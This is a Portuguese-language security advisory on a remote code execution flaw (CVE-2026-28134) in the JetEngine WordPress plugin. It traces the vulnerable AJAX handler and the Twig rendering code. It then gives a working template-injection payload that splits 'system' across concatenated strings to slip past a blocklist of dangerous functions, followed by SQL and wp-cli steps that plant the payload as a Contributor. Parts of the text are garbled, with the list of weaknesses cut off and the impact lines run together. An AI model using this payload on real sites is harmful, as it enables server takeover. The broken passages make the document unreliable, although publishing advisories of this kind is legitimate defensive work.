
JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código
Data: 11 de março de 2026 Pontuação CVSS: 8.8 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Afetado: JetEngine <= 3.7.2 Slug do Plugin: jet-engine CVE: CVE-2026-28134 Status: Privado Versão do WordPress Testada: Última
A CVE-2026-28134 é uma vulnerabilidade de Execução Remota de Código no plugin JetEngine para WordPress que afeta todas as versões até 3.7.2 inclusive. A vulnerabilidade permite que atacantes autenticados com acesso de nível Contribuidor ou superior executem comandos arbitrários do sistema operacional no servidor, injetando um template Twig malicioso em um post de Listing do JetEngine.
A cadeia de ataque combina três fraquezas:
~ do Twig para dividir nomes de funções bloqueados entre tokens.✅ VULNERABILIDADE CONFIRMADA — RCE Total Alcançado
Impacto confirmado:
www-data/etc/passwd, wp-config.php)O JetEngine fornece um tipo de visão de Listing baseado em Twig/Timber. Quando o componente timber_views está habilitado, posts de Listing com _listing_type = twig têm seu post meta _jet_engine_listing_html renderizado como um template Twig ao vivo via Timber. O pipeline de renderização é acessível através da ação AJAX não autenticada wp_ajax_nopriv_jet_engine_ajax, exigindo apenas que o atacante possa criar ou modificar um post de Listing do JetEngine (função mínima de Contribuidor).
| Arquivo | Problema |
|---|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registrado — sem auth ou nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — despacho arbitrário de método público |
includes/components/timber-views/timber.php:150 | render_html() renderiza template Twig controlado pelo atacante sem sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — blocklist regex de strings, contornada por divisão de tokens |
timber-library/lib/Twig.php:42-43 | O Timber registra fn()/function() como wrappers Twig para call_user_func_array |
ajax-handlers.php registra a ação AJAX tanto para usuários autenticados quanto para não autenticados:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
O handler despacha para qualquer método público da classe com base em $_REQUEST['handler'], sem verificação de nonce ou capability:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Chamar listing_load_more é publicamente acessível e aciona o pipeline de renderização de Listing.
A cadeia de chamadas listing_load_more → get_listing → frontend->get_listing_item alcança:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Quando $listing_view = 'twig', isso dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lê o template Twig do campo meta _jet_engine_listing_html do post e o passa diretamente para render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
O Twig renderiza sem sandbox. A única proteção é sanitize_twig_content().
sanitize_twig_content() remove nomes de funções PHP perigosas usando padrões regex de fronteira de palavra e depois verifica se o template foi modificado:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
O padrão \bsystem\b corresponde ao token literal system. Ele não corresponde a "sys" ~ "tem" porque são dois tokens de string separados. O Twig avalia a concatenação no momento da renderização, produzindo "system" apenas em memória — o template fonte nunca contém a palavra bloqueada.
Payload de bypass:
{{ fn("sys" ~ "tem", "id") }}
O sanitizador vê fn, "sys", ~, "tem", "id" — nenhum deles está na blocklist. Ele passa inalterado.
fn() do TimberO Timber registra wrappers de chamáveis PHP diretamente no ambiente Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} resolve para call_user_func_array("system", ["id"]) — execução arbitrária de comandos do sistema operacional.
timber_views do JetEngine está habilitado (Configurações do JetEngine > Desempenho > Timber/Twig Views).Crie um post de Listing do JetEngine com o template Twig malicioso armazenado no post meta:
-- Define o tipo de listing como twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Injeta o payload SSTI (bypass do sanitizador via concatenação ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Define a fonte do listing
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Ou via wp-cli (como o usuário Contribuidor):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'